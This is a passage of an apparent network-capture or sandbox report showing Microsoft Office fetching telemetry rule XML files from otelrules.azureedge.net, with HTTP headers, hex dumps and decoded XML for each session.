20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:49 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:49 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:49 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 44636861-901e-0083-5170-43bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165649Z-174f7845968jrjrxhC1EWRmmrs00000014y00000000037yq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:49 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:50 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:50 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:50 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 14abde1b-801e-0047-6aab-437265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165650Z-174f7845968vqt9xhC1EWRgten00000014vg000000001ppm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:50 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:50 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:51 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:50 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 8c7215b7-001e-00ad-4224-44554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165650Z-174f7845968n2hr8hC1EWR9cag000000148000000000vx26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:51 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:50 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:51 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:50 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: e9f7249a-b01e-00ab-72be-42dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165650Z-174f7845968glpgnhC1EWR7uec00000014rg00000000zx8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:51 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:51 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:51 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:51 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f24b5158-501e-0047-6a59-43ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165651Z-174f7845968xlwnmhC1EWR0sv800000014h000000000g7pr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:51 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:51 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:52 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:51 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bdb61e3c-f01e-0099-1ac7-439171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165651Z-174f7845968nxc96hC1EWRspw800000014d000000000mb7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:52 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:52 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:53 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 39707a40-001e-00a2-1737-43d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165652Z-174f7845968qj8jrhC1EWRh41s00000014kg00000000r38r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:53 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:52 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:53 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:53 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 709a1193-501e-00a3-3559-43c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165653Z-174f7845968swgbqhC1EWRmnb400000014ug00000000k31m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:53 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:52 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:53 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:53 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fde36bdf-c01e-000b-1591-3fe255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165653Z-174f7845968xr5c2hC1EWRd0hn0000000pp0000000002m7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:53 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:53 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:53 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:53 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a0e0d5c5-a01e-0084-68de-419ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165653Z-174f7845968px8v7hC1EWR08ng0000001520000000001ns7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:53 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:53 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:54 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: c562a2d5-001e-0082-3a33-445880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165654Z-174f7845968n2hr8hC1EWR9cag000000147000000000yfhd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:54 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:54 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:55 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: e52eaca9-401e-0064-32a1-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165655Z-174f7845968xlwnmhC1EWR0sv800000014mg0000000062k3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
